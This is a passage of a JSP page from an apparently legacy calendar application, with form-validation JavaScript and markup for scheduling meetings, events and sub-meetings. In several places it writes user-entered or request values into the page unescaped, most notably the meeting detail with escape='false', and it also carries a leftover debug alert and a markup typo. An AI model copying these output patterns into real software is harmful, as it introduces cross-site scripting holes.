  document.maintCalendarForm.ID.value = ID ;
  OpDelete(formName);
  return(false);
}

function CustEnddateValidate(){
  if(document.maintCalendarForm.endDate.value == ''){
    document.maintCalendarForm.endDate.value = document.maintCalendarForm.startDate.value;
  }
  return(false);
}

function checkForm(){
  if(document.maintCalendarForm.notifyWay.value==''){
    alert("NotifyWay is required!");
    return false;
  }
  if(document.maintCalendarForm.recipientType.value==''){
    alert("recipientType is required!")
    return false;
  }
}

function checkTitle(){
  return true;
}

function synchroVenue(){
<%if (maintCalendarForm.getSubMeetingNum() > 1){%>
  for(var loopCount = 0 ; loopCount < <%=maintCalendarForm.getSubMeetingNum()%>;loopCount++){
    document.maintCalendarForm.elements['subMeetingVenue_'+loopCount].value = "";
    document.maintCalendarForm.elements['subMeetingVenue_'+loopCount].value = document.maintCalendarForm.venue.value;
  }
<%}%>
}

function synchroDetail(){
<%if (maintCalendarForm.getSubMeetingNum() > 1){%>
  for(var loopCount = 0 ; loopCount < <%=maintCalendarForm.getSubMeetingNum()%>;loopCount++){
    document.maintCalendarForm.elements['subMeetingDetail_'+loopCount].value = "";
    document.maintCalendarForm.elements['subMeetingDetail_'+loopCount].value = document.maintCalendarForm.detail.value;
  }
<%}%>
}

function checkForRefresh(obj){
  if(fcheck_date(obj, 'dd-mm-yyyy')){
    return OpRefresh();
  }else{
    return false;
  }
}
  
var totalMinute=30;
  
function setEndTime(obj){
  if(isNaN(totalMinute)||totalMinute<0){
    totalMinute=30;
  }
  var intervalHour=totalMinute/60;
  var intervalMinute=totalMinute%60;
  var sub=0;
  if((obj.name).substring(0,3)=="sub"){
    index = obj.name.substr(obj.name.length-1,1);
    var OStartHour = eval("document.maintCalendarForm.subMeetingStartHour_"+index);
    var OStartMinute = eval("document.maintCalendarForm.subMeetingStartMinute_"+index);
    var OEndHour = eval("document.maintCalendarForm.subMeetingEndHour_"+index);
    var OEndMinute = eval("document.maintCalendarForm.subMeetingEndMinute_"+index);
    sub=1;
  } else {
    var OStartMinute = eval("document.maintCalendarForm.startMinute");
    var OStartHour = eval("document.maintCalendarForm.startHour");
    var OEndHour = eval("document.maintCalendarForm.endHour");
    var OEndMinute = eval("document.maintCalendarForm.endMinute");
  }
  var startMinute = parseInt(OStartMinute.value.substring(0,1)=="0"?OStartMinute.value.substring(1):OStartMinute.value);
  var endMinute = parseInt(OEndMinute.value.substring(0,1)=="0"?OEndMinute.value.substring(1):OEndMinute.value);
  var startHour = parseInt(OStartHour.value.substring(0,1)=="0"?OStartHour.value.substring(1):OStartHour.value);
  var endHour = parseInt(OEndHour.value.substring(0,1)=="0"?OEndHour.value.substring(1):OEndHour.value);
  var setTime = startHour*60+startMinute+totalMinute;
  var setHour = parseInt(setTime/60);
  var setMinute = setTime%60;

  if(setHour<24){
    OEndHour.value = DuDigital(setHour);
    if(sub==0){
      OEndMinute.value = setMinute;
    } else {
      OEndMinute.value = DuDigital(setMinute);
    }
  } else {
    OEndHour.selectedIndex=OEndHour.options.length-1;
    OEndMinute.selectedIndex=OEndMinute.options.length-1;
  }
}
  
function setInterval2(obj){
alert("test");
 var sub=0;
  if((obj.name).substring(0,3)=="sub"){
    index = obj.name.substr(obj.name.length-1,1);
    var OStartHour = eval("document.maintCalendarForm.subMeetingStartHour_"+index);
    var OStartMinute = eval("document.maintCalendarForm.subMeetingStartMinute_"+index);
    var OEndHour = eval("document.maintCalendarForm.subMeetingEndHour_"+index);
    var OEndMinute = eval("document.maintCalendarForm.subMeetingEndMinute_"+index);
    sub=1;
  } else {
    var OStartMinute = eval("document.maintCalendarForm.startMinute");
    var OStartHour = eval("document.maintCalendarForm.startHour");
    var OEndHour = eval("document.maintCalendarForm.endHour");
    var OEndMinute = eval("document.maintCalendarForm.endMinute");
  }
  totalMinute = (OEndHour.value-OStartHour.value)*60+parseInt(OEndMinute.value)-parseInt(OStartMinute.value);
}
  
function disableTimer(disabled){
  var frm = document.maintCalendarForm;
  if(frm.startHour){
    frm.startHour.disabled =disabled;
    frm.startMinute.disabled =disabled;
    frm.endHour.disabled =disabled;
    frm.endMinute.disabled =disabled;
    frm.priority[0].disabled =disabled;
    frm.priority[1].disabled =disabled;
    frm.priority[2].disabled =disabled;
    frm.isWholeDay[0].disabled =disabled;
    frm.isWholeDay[1].disabled =disabled;
  }
}

function setRefreshIntervalDays(bool){
  document.maintCalendarForm.refreshIntervalDays.value=bool;
  //document.maintCalendarForm.dummy_endDate.value=document.maintCalendarForm.dummy_startDate.value;
  //document.maintCalendarForm.dummy_startDate.blur();
}

function getStartDateValue(){
  document.maintCalendarForm.dummy_recurStartDate.value = document.maintCalendarForm.dummy_startDate.value;
  document.maintCalendarForm.recurStartDate.value = document.maintCalendarForm.startDate.value;   
}

function getEndDateValue(){
  document.maintCalendarForm.dummy_recurEndDate.value = document.maintCalendarForm.dummy_recurStartDate.value;
  document.maintCalendarForm.recurEndDate.value = document.maintCalendarForm.recurStartDate.value;
}

function OpExport(){
  var frm = document.maintCalendarForm;
  oldNaveMode=frm.navMode.value;
  frm.navMode.value="EXP";
  frm.submit();
  frm.navMode.value=oldNaveMode;
  return false;
}
	
function changeAlertSubject(){
  var alertsubject = document.maintCalendarForm.alertSubject.value;
  if(trim(alertsubject)!="")
  {		
    document.maintCalendarForm.alertSubjectIsChange.value='yes';
  }else{
    document.maintCalendarForm.alertSubjectIsChange.value='no';
	var titleValue=document.maintCalendarForm.title.value;
    if(trim(titleValue)!=""){
	  document.maintCalendarForm.alertSubject.value="<bean:message key='home.message.meeting_invitation_subject'/>" + " "+"\""+titleValue+"\"";
	}
  }
}

function wholeDayYes(){
  document.maintCalendarForm.startHour.disabled = "disabled";
  document.maintCalendarForm.startMinute.disabled = "disabled";
  document.maintCalendarForm.endHour.disabled = "disabled";
  document.maintCalendarForm.endMinute.disabled = "disabled";
}
	
function wholeDayNo(){
  document.maintCalendarForm.startHour.disabled = "";
  document.maintCalendarForm.startMinute.disabled = "";
  document.maintCalendarForm.endHour.disabled = "";
  document.maintCalendarForm.endMinute.disabled = "";
}

function changeTitle(obj){
  if('no'==document.maintCalendarForm.alertSubjectIsChange.value){
    var titleValue=document.maintCalendarForm.title.value;
    if(trim(titleValue)!=""){
      document.maintCalendarForm.alertSubject.value="<bean:message key='home.message.meeting_invitation_subject'/>" + " "+"\""+titleValue+"\"";
    }else{
      document.maintCalendarForm.alertSubject.value="";
    }
  }
<%
  if (maintCalendarForm.getSubMeetingNum()>1){
    for (int loopMeeting = 0 ; loopMeeting < maintCalendarForm.getSubMeetingNum() ; loopMeeting ++){
%>
  document.maintCalendarForm.subMeetingTitle<%="_"+loopMeeting%>.value = (obj.value)+"<%="-"+(loopMeeting+1)%>";
  subMeetingTitleSpan<%="_"+loopMeeting%>.innerHTML = obj.value+"<%="-"+(loopMeeting+1)%>";
<%  }
  }
%>
}
-->
</script>

<!--Javascript End-->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='updateAlertID'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='purpose'/>
<html:hidden property='subMeetingNum'/>
<html:hidden property='reminderType'/>
<html:hidden property='parentID'/>

<html:hidden property='refreshIntervalDays'/>
<input type="hidden" name="objectType" value="">
<input type="hidden" name="alertType" value="<%=alertType%>">
<input type="hidden" name="selectedDay" value="<%=selectedDay%>">
<input type="hidden" name="selectedMonth" value="<%=selectedMonth%>">
<input type="hidden" name="selectedYear" value="<%=selectedYear%>">
<input type="hidden" name="displayDay" value="<%=displayDay%>">
<input type="hidden" name="displayMonth" value="<%=displayMonth%>">
<input type="hidden" name="displayYear" value="<%=displayYear%>">
<input type="hidden" name="oldNavMode" value="<%=oldNavMode%>">
<input type="hidden" name="listName" value="<%=listName%>">
<input type="hidden" name="eventType" value="<%=eventType%>">
<input type="hidden" name="Overlap" value="yes">
<input type="hidden" name="currentDate" value="<%=Utility.getCurrentTimestamp()%>">
<input type="hidden" name="strStartDate">
<input type="hidden" name="alertSubjectIsChange" value='<%=Utility.isEmpty(maintCalendarForm.getAlertSubject())?"no":"yes"%>'>
<%if( !Utility.isEmpty(opReply) && !Utility.isEmpty(systemLogID)){%>
  <input type="hidden" name="systemLogID" value="<%=systemLogID%>">
<%}%>
<%if (!Utility.isEmpty(isHome)) { %>
  <input type="hidden" name="isHome" value="<%=isHome%>">
<%}%>

<!-- System And Error Messages -->
<%
ArrayList overlapList =  (ArrayList)request.getAttribute("overlapList");
if ( maintCalendarForm.getSubMeetingNum() > 1){
  haveSubMeeting = true;
}
%>
<%
String returnURL="";
if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)){
  if (!"true".equals(isHome)) { 
    if((!Utility.isEmpty(oldNavMode) || !Utility.isEmpty(listName)) && !haveBackButton ){
      returnURL = "ListCalendar.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN + "&listName=" + listName + "&navMode=" + oldNavMode;
    }else if (!haveBackButton) {
      returnURL = "ListCalendar.do";
    }
  }else{
    returnURL="../Home.do";
  }
}else{
  if (!"true".equals(isHome)) { 
    if(!Utility.isEmpty(oldNavMode) || !Utility.isEmpty(listName)){
      returnURL = "ListCalendar.do?opMode=" + GlobalConstant.OP_MODE_LIST_RETAIN + "&listName=" + listName + "&navMode=" + oldNavMode;                      
    }else{
      returnURL="ListCalendar.do";
    }
  }else{
    returnURL="../Home.do";
  }
}
%>
<%
/*
 *	Update Code End
 */
%>

<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>

<table width="100%">
  <tr>
    <td>
      <table width="780" border="0" cellspacing="2" cellpadding="0">
        <!-- Section Header -->
        <layout:sectionHeader name="calendar.label.schedule_info"/>
        <tr>
          <td class="formLabelSmallMan" width="21%"><bean:message key='calendar.label.title'/>:&nbsp;</td>
          <td class="formFieldSmall" width="79%">&nbsp;
          <%if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)){%>
            <bean:write name="maintCalendarForm" scope="request" property="title"/>
            <input type="hidden" name="title" value="<%=maintCalendarForm.getTitle()%>">
          <%}else{%>
            <html:text property='title' size='60' maxlength='200' onchange ="javascript:changeTitle(this);"/>
          <%}%>
          </td>
        </tr>
        <script language="javascript">
          //ryan:temp suspend it
          //function userdefload(){}
          //userdefload = window.onload;
          //window.onload = function (){userdefload();document.maintCalendarForm.title.focus();}
        </script>
        <tr>
                  <td class="<%=eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO) ? "formLabelSmallMan" : "formLabelSmallMan"%>" width="21%" ><!-- class dataLabel --><bean:message key='<%=(eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)) ? "calendar.label.due_date" : "calendar.label.from" %>'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%" >&nbsp;
<%    if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)) {       %>
            <!--  <bean:message key='calendar.label.date'/>: -->
<%      }          %>

<%
      String dateString = null;
      if(maintCalendarForm.getStartDate()!=null){
      java.util.Date date = formatter.parse(maintCalendarForm.getStartDate());
      dateString = formatter1.format(date);
    }

%>
<% if(GlobalConstant.NAV_MODE_VIEW.equals(navMode) ){  %>
     <!--bean:write name="maintCalendarForm" scope="request" property="startDate"/-->
    <%=(maintCalendarForm.getStartDate()!=null) ? dateString : "-"%>
     <font color="#000000" size=1 face="Verdana, Arial, Helvetica, sans-serif"><b></b></font>
     <%
       if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)&&!GlobalConstant.TRUE.equals(maintCalendarForm.getIsWholeDay()) && (maintCalendarForm.getStartHour()!=null)){   %>
         <%=Integer.parseInt(maintCalendarForm.getStartHour()) < 13 ? Integer.parseInt(maintCalendarForm.getStartHour())==0?12:Integer.parseInt(maintCalendarForm.getStartHour()) : Integer.parseInt(maintCalendarForm.getStartHour())-12%>
            :
         <%=Integer.parseInt(maintCalendarForm.getStartMinute()) < 10 ? "0" + maintCalendarForm.getStartMinute() : maintCalendarForm.getStartMinute()%>&nbsp;<bean:message key='<%= (Integer.parseInt(maintCalendarForm.getStartHour())<12) ? "common.label.am" : "common.label.pm" %>'/>
     <%}%>
<%}else{%>
      <%if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){ %>
        <html:datepicker property='startDate' changeProperty="endDate" onchange="setRefreshIntervalDays('Y')" value="<%=strDefaultDate%>"  needReload = 'false'/>
      <%} else {%>
        <html:datepicker property='startDate' value="<%=strDefaultDate%>"/>
      <%}%>
    (<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT)%>)

    <%if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){    %>
                  <br>&nbsp;&nbsp;<select name="startHour" onchange="setEndTime(this)" onfocus="setInterval(this)">
      <%for (int i = 0; i < 24; i++) {      %>
                  <option <%= (selectedHr==i) ? "selected" : ((TextUtility.parseIntegerObj((maintCalendarForm.getStartHour()==null? DEFAULT_START_HR : maintCalendarForm.getStartHour())).intValue()==i) ? "selected" : "" )%> value="<%=i < 10 ? "0" + i : String.valueOf(i)%>"><%=i == 0 ? "12" : i < 13 ? String.valueOf(i)  : String.valueOf(i-12)%>&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/></option>
      <%}%>
                  </select>
                  :
                  <select name="startMinute" onchange="setEndTime(this)" onfocus="setInterval(this)">
      <%for (int i = 0; i < 60; i=i+minuteInterval) {%>
        <%int startMin=(TextUtility.parseIntegerObj(maintCalendarForm.getStartMinute()==null ? "0" : maintCalendarForm.getStartMinute())).intValue();%>
                  <option <%= (selectedMin==i) ? "selected" : ((startMin>=i&&startMin<i+minuteInterval) ? "selected" : "" ) %> value="<%=i < 10 ? "0" + i : String.valueOf(i)%>"><%=i < 10 ? "0" + i : String.valueOf(i)%></option>
      <%}%>
                  </select>
<%   }
  }
%>
                  </td>
                </tr>

<%  if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){    %>
                <tr >
                  <td class="formLabelSmallMan" width="21%" ><bean:message key='calendar.label.to'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%" >
									&nbsp;
<%
      String dateString1 = null;
        if(maintCalendarForm.getEndDate()!=null){
          java.util.Date date = formatter.parse(maintCalendarForm.getEndDate());
          dateString1 = formatter1.format(date);
        }
%>
      <% if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {
          if (maintCalendarForm.getEndDate() != null) { %>
            <!--bean:write name="maintCalendarForm" scope="request" property="endDate"/-->
      <%=(maintCalendarForm.getEndDate()!=null) ? dateString1 : StrSelectedDate%>
      <%
            if (!GlobalConstant.TRUE.equals(maintCalendarForm.getIsWholeDay())){  %>
              <%=Integer.parseInt(maintCalendarForm.getEndHour()) < 13 ? Integer.parseInt(maintCalendarForm.getEndHour())==0?12:Integer.parseInt(maintCalendarForm.getEndHour()) : Integer.parseInt(maintCalendarForm.getEndHour())-12%>
                 :
              <%=Integer.parseInt(maintCalendarForm.getEndMinute()) < 10 ? "0" + maintCalendarForm.getEndMinute() : maintCalendarForm.getEndMinute()%>&nbsp;<bean:message key='<%= (Integer.parseInt(maintCalendarForm.getEndHour())<12) ? "common.label.am" : "common.label.pm" %>'/>
      <%    }                                   %>
      <%  } else { %>
            <%= GlobalConstant.EMPTY_FIELD %>
      <%  } %>


      <% }else {%>
        <html:datepicker property='endDate' value='<%=(maintCalendarForm.getEndDate()!=null) ? maintCalendarForm.getEndDate() : StrSelectedDate%>'  /><!--needReload = 'false'  onchange="setRefreshIntervalDays('Y')" -->
         (<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT)%>)
         <br>&nbsp;
         <select name="endHour">
         <%for (int i = 0; i < 24; i++) { %>
             <option <%= (selectedHr==i) ?  "selected" : ((TextUtility.parseIntegerObj((maintCalendarForm.getEndHour()==null ? DEFAULT_END_HR : maintCalendarForm.getEndHour())).intValue()==i) ? "selected" : "" ) %> value="<%=i < 10 ? "0" + i : String.valueOf(i)%>"><%=i == 0 ? "12" : i < 13 ? String.valueOf(i)  : String.valueOf(i-12)%>&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/></option>
         <%}%>
         </select>
             :
         <select name="endMinute">
         <%for (int i = 0; i < 60; i=i+minuteInterval) {%>
              <%int endMin=(TextUtility.parseIntegerObj(maintCalendarForm.getEndMinute()==null ? "30" : maintCalendarForm.getEndMinute())).intValue();%>
             <option <%= (selectedMin==i) ? "selected" : ((endMin>=i&&endMin<i+minuteInterval) ? "selected" : "" ) %> value="<%=String.valueOf(i)%>"><%=i < 10 ? "0" + i : String.valueOf(i)%></option>
         <%}%>
         </select>
      <% } %>
                  </td>
                </tr>
<%  }%>
<%
//if have submeeting ,hidden the under field
//if (!haveSubMeeting){
%>
                <tr>
                  <td class="formLabelSmallMan" width="21%"><bean:message key='calendar.label.priority'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%">&nbsp;
                        <html:radio property='priority'  value='<%=GlobalConstant.PRIORITY_HIGH%>'>
                        <bean:message key='calendar.label.priority_high'/></html:radio>
                        <html:radio property='priority'  value='<%=GlobalConstant.PRIORITY_MEDIUM%>'>
                        <bean:message key='calendar.label.priority_medium'/></html:radio>
                        <html:radio property='priority'  value='<%=GlobalConstant.PRIORITY_LOW%>'>
                        <bean:message key='calendar.label.priority_low'/></html:radio>
                  </td>
                </tr>
<%
    if ((eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)||eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_EVENT)) && !GlobalConstant.NAV_MODE_VIEW.equals(navMode)){   %>
                <tr>
                  <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key="calendar.label.is_whole_day_event"/>:&nbsp;</td>
                  <td class="formFieldSmall" width='75%'>&nbsp;
                    <input type='radio' name='isWholeDay'  onclick="wholeDayYes()"  value='<%=GlobalConstant.TRUE%>' <%= GlobalConstant.TRUE.equals(maintCalendarForm.getIsWholeDay()) ? " checked" : "" %>>
                    <bean:message key='common.label.yes'/>
                    <input type='radio' name='isWholeDay'  onclick="wholeDayNo()" value='<%=GlobalConstant.FALSE%>'<%= maintCalendarForm.getIsWholeDay()==null ? " checked" : (GlobalConstant.FALSE.equals(maintCalendarForm.getIsWholeDay()) ? " checked" : "" )%>>
                    <bean:message key='common.label.no'/>
                    <script language="javascript">
                    <!--
                      if (document.maintCalendarForm.isWholeDay[0].checked){
                        wholeDayYes();
                      }
                    -->
                    </script>
                  </td>
                </tr>
<%  }

    if (!eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){    %>
                <tr>
                  <td class="formLabelSmall" width="21%" valign="top"><bean:message key='calendar.label.venue'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%">&nbsp;
                    <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
                        <bean:write name="maintCalendarForm" scope="request" property="venue"/>
                    <%}else{%>
                        <html:textarea property='venue' value='<%=maintCalendarForm.getVenue()%>' cols='60' rows='2' onchange = "synchroVenue();" textlimit='200'/>
                    <%}%>
                  </td>
                </tr>
<%  } %>
                <tr>
                  <td class="formLabelSmall" width="21%" valign="top"><bean:message key='calendar.label.detail'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="79%">&nbsp;
                    <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
                        <bean:write name="maintCalendarForm" scope="request" property="detail" escape="false"/>
                    <%}else{%>
                        <html:textarea property='detail' value='<%=maintCalendarForm.getDetail()%>' cols='60' rows='8' onchange = "synchroDetail();" textlimit='2000'/>
                    <%}%>
                  </td>
                </tr>
<%  if (eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_TODO)){ %>
                <tr>
                  <td class="formLabelSmallMan" width='25%' valign='top'><bean:message key="calendar.label.finished"/>:&nbsp;</td>
                  <td class="formFieldSmall" width='75%'>&nbsp;
                    <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
                        <bean:message key='<%= (GlobalConstant.TRUE.equals(maintCalendarForm.getStatus()) ? "common.label.yes" : "common.label.no" )%>'/>
                    <%}else{%>
                        <input type='radio' name='status'  value='<%=GlobalConstant.TRUE%>' <%= GlobalConstant.TRUE.equals(maintCalendarForm.getStatus()) ? " checked" : "" %>>
                        <bean:message key='common.label.yes'/>
                        <input type='radio' name='status'  value='<%=GlobalConstant.FALSE%>'<%= maintCalendarForm.getStatus()==null ? " checked" : (GlobalConstant.FALSE.equals(maintCalendarForm.getStatus()) ? " checked" : "" )%>>
                        <bean:message key='common.label.no'/>
                    <%}%>
                  </td>
                </tr>
<%  }                                   %>
<%
		if (!Utility.isEmpty(request.getParameter("caleType")) && !maintCalendarForm.getCreatorID().equals(sessionContainer.getUserRecordID().toString())) {
%>
                <tr>
                  <td class="formLabelSmall" width='25%' valign='top'>
        <%if("S".equals(request.getParameter("caleType"))){%>
          <bean:message key='calendar.label.colleague_shared_by'/>
        <%}else if ("I".equals(request.getParameter("caleType"))){%>
          <bean:message key='calendar.label.colleague_invited_by'/>
        <%}%>
          :&nbsp;</td>
                  <td class="formFieldSmall" width='75%'>&nbsp;
                    <%if(GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {
            UserRecord calendarCreator = (UserRecord)userRecordDAO.getObjectByID(new Integer(Integer.parseInt(maintCalendarForm.getCreatorID())));
          %>
            <%=calendarCreator.getFullName()%>
                    <%}%>
                  </td>
                </tr>
<%  }                                   %>



              </table>
            </td>
          </tr>
          <tr>
            <td><html:img src="LayoutSpacer.gif" width="1" height="8" /></td>
          </tr>
<!--START MeetingSubDetail-->
<%if (haveSubMeeting&&!GlobalConstant.NAV_MODE_VIEW.equals(navMode)){
  //insert
//  if(GlobalConstant.NAV_MODE_NEW.equals(navMode)){
%>
<tr>
  <td colspan="4">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td class="sectionTitle" valign="bottom" nowrap>
          <%if(eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_MEETING)){%>
            <bean:message key='calendar.label.subMeeting'/>
          <%}else if(eventType.equals(CalendarRecord.EVENT_TYPE_CALENDAR_EVENT)){%>
            <bean:message key='calendar.label.subEvent'/>
          <%}%>:
        </td>
        <td align="right">
          <table width="90" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td  width="18">&nbsp;</td>
              <td class="bodySmallBold" nowrap>&nbsp;</td>
            </tr>
          </table>
        </td> 
      </tr>
   </table>
  </td>
</tr>
<%
    List subList = (List)request.getAttribute("subList");
   
    int subCount = maintCalendarForm.getSubMeetingNum();
    String title = maintCalendarForm.getTitle();
    String startDate = maintCalendarForm.getStartDate();
    for (int loopMeeting = 0 ; loopMeeting < subCount ; loopMeeting ++){
      if(!Utility.isEmpty(subList)&&subList.size()>loopMeeting){
        CalendarRecord calendarRecord = (CalendarRecord)subList.get(loopMeeting);
        maintCalendarForm.setFormData(calendarRecord);
      } else {
        maintCalendarForm.setVenue("");
        maintCalendarForm.setDetail("");
      }
%>
          <tr>
            <td>
              <table width="780" border="0" cellspacing="2" cellpadding="0">
        <!-- Section Header
                <layout:sectionHeader name="calendar.label.schedule_info"/>
        -->
                <tr>
                  <td class="formLabelSmall" width="10%"><bean:message key='calendar.label.title'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="90%" colspan = "3">
                    &nbsp;<span id=subMeetingTitleSpan<%="_"+loopMeeting%>><%=title+"-"+(loopMeeting+1)%></span>
            <input type = "hidden" name="subMeetingTitle<%="_"+loopMeeting%>" value="<%=title+"-"+(loopMeeting+1)%>" size="60" maxlength="200">
                  </td>
                </tr>
                <tr >
                  <td class="formLabelSmall" width="10%" ><bean:message key='<%="calendar.label.from" %>'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="40%" >&nbsp;
<%
  java.util.Date date = formatter.parse(startDate);
  Timestamp startDateTimmestamp = new Timestamp(date.getTime());
  startDateTimmestamp =Utility.addDay(startDateTimmestamp,loopMeeting);
  String subMeetingDate = formatter1.format(startDateTimmestamp);
  String subMeetingDateDB = formatter.format(startDateTimmestamp);
%>
  <%=subMeetingDate%>
  <input type = "hidden" name = "subMeetingStartDate<%="_"+loopMeeting%>" value='<%=subMeetingDateDB%>'>

    (<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT)%>)
                  <br>&nbsp;&nbsp;<select name="subMeetingStartHour<%="_"+loopMeeting%>" onchange="setEndTime(this)" onfocus="setInterval(this)">
            <%for (int i = 0; i < 24; i++) {      %>
                  <option <%= (selectedHr==i) ? "selected" : ((TextUtility.parseIntegerObj((maintCalendarForm.getStartHour()==null? DEFAULT_START_HR : maintCalendarForm.getStartHour())).intValue()==i) ? "selected" : "" )%> value="<%=i < 10 ? "0" + i : String.valueOf(i)%>"><%= i==0 ? "12" : i < 13 ? String.valueOf(i) : String.valueOf(i-12)%>&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/></option>
            <%}%>
                  </select>
                  :
                  <select name="subMeetingStartMinute<%="_"+loopMeeting%>" onchange="setEndTime(this)" onfocus="setInterval(this)">
            <%for (int i = 0; i < 60; i=i+minuteInterval) {%>
                  <%int startMin=(TextUtility.parseIntegerObj(maintCalendarForm.getStartMinute()==null ? "0" : maintCalendarForm.getStartMinute())).intValue();%>
                  <option <%= (selectedMin==i) ? "selected" : ((startMin>=i&&startMin<i+minuteInterval) ? "selected" : "" ) %> value="<%=i < 10 ? "0" + i : String.valueOf(i)%>"><%=i < 10 ? "0" + i : String.valueOf(i)%></option>
            <%}%>
                  </select>
                  </td>
                  <td class="formLabelSmall" width="10%" ><bean:message key='calendar.label.to'/>:&nbsp;
                  </td>
                  <td class="formFieldSmall" width="40%" >
                    &nbsp;
  <%=subMeetingDate%>
  <input type = "hidden" name = "subMeetingEndDate<%="_"+loopMeeting%>" value='<%=subMeetingDateDB%>'>

             <br>&nbsp;
             <select name="subMeetingEndHour<%="_"+loopMeeting%>">
             <%for (int i = 0; i < 24; i++) { %>
               <option <%= (selectedHr==i) ?  "selected" : ((TextUtility.parseIntegerObj((maintCalendarForm.getEndHour()==null ? DEFAULT_END_HR : maintCalendarForm.getEndHour())).intValue()==i) ? "selected" : "" ) %> value="<%=i < 10 ? "0" + i : String.valueOf(i)%>"><%=i == 0 ? "12" : i < 13 ? String.valueOf(i)  : String.valueOf(i-12)%>&nbsp;<bean:message key='<%= (i<12) ? "common.label.am" : "common.label.pm" %>'/></option>
             <%}%>
             </select>
               :
             <select name="subMeetingEndMinute<%="_"+loopMeeting%>">
             <%for (int i = 0; i < 60; i=i+minuteInterval) {%>
                <%int endMin=(TextUtility.parseIntegerObj(maintCalendarForm.getEndMinute()==null ? "30" : maintCalendarForm.getEndMinute())).intValue();%>
                <option <%= (selectedMin==i) ? "selected" : ((endMin>=i&&endMin<i+minuteInterval) ? "selected" : "" ) %> value="<%=i < 10 ? "0" + i : String.valueOf(i)%>"><%=i < 10 ? "0" + i : String.valueOf(i)%></option>
             <%}%>
             </select>
                  </td>
                </tr>
                <tr>
                  <td class="formLabelSmall" width="10%"><bean:message key='calendar.label.priority'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="40%">
                        <input type='radio' name='subMeetingPriority<%="_"+loopMeeting%>'  value='<%=GlobalConstant.PRIORITY_HIGH%>' <%=GlobalConstant.PRIORITY_HIGH.equals(maintCalendarForm.getPriority()) ? "checked" : "" %>>
                        <bean:message key='calendar.label.priority_high'/>
                        <input type='radio' name='subMeetingPriority<%="_"+loopMeeting%>'  value='<%=GlobalConstant.PRIORITY_MEDIUM%>' <<%=GlobalConstant.PRIORITY_MEDIUM.equals(maintCalendarForm.getPriority()) ? " checked" : (maintCalendarForm.getPriority()==null ? "checked" : "" ) %>>
                        <bean:message key='calendar.label.priority_medium'/>
                        <input type='radio' name='subMeetingPriority<%="_"+loopMeeting%>'  value='<%=GlobalConstant.PRIORITY_LOW%>' <%=GlobalConstant.PRIORITY_LOW.equals(maintCalendarForm.getPriority()) ? "checked" : "" %>>
                        <bean:message key='calendar.label.priority_low'/>
                  </td>
                  <td class="formLabelSmall" width='10%' valign='top'><bean:message key="calendar.label.is_whole_day_event"/>:&nbsp;</td>
                  <td class="formFieldSmall" width='40%'>
                    <input type='radio' name='subMeetingIsWholeDay<%="_"+loopMeeting%>'  value='<%=GlobalConstant.TRUE%>'  <%= GlobalConstant.TRUE.equals(maintCalendarForm.getIsWholeDay()) ? " checked" : "" %>>
                    <bean:message key='common.label.yes'/>
                    <input type='radio' name='subMeetingIsWholeDay<%="_"+loopMeeting%>'  value='<%=GlobalConstant.FALSE%>' <%= GlobalConstant.FALSE.equals(maintCalendarForm.getIsWholeDay()) ? " checked" : "" %>>
                    <bean:message key='common.label.no'/>
                  </td>
                </tr>
                <tr>
                  <td class="formLabelSmall" width="10%" valign="top"><bean:message key='calendar.label.venue'/>:&nbsp;</td>
                  <td  class="formFieldSmall" width="40%">
                    &nbsp;
            <input type = "textarea" name="subMeetingVenue<%="_"+loopMeeting%>" value="<%=maintCalendarForm.getVenue()%>" cols='60' rows='2' textlimit='200'>
                  </td>
                  <td class="formLabelSmall" width="10%" valign="top"><bean:message key='calendar.label.detail'/>:&nbsp;</td>
                  <td class="formFieldSmall" width="40%">
                    &nbsp;
            <input type = "textarea" name="subMeetingDetail<%="_"+loopMeeting%>" value="<%=maintCalendarForm.getDetail()%>" cols='60' rows='2' textlimit='2000'>
                  </td>
                </tr>
              </table>
            </td>
          </tr>
<%
    }
  //view,update ,get the submeeting date form database
%>
<%}%>
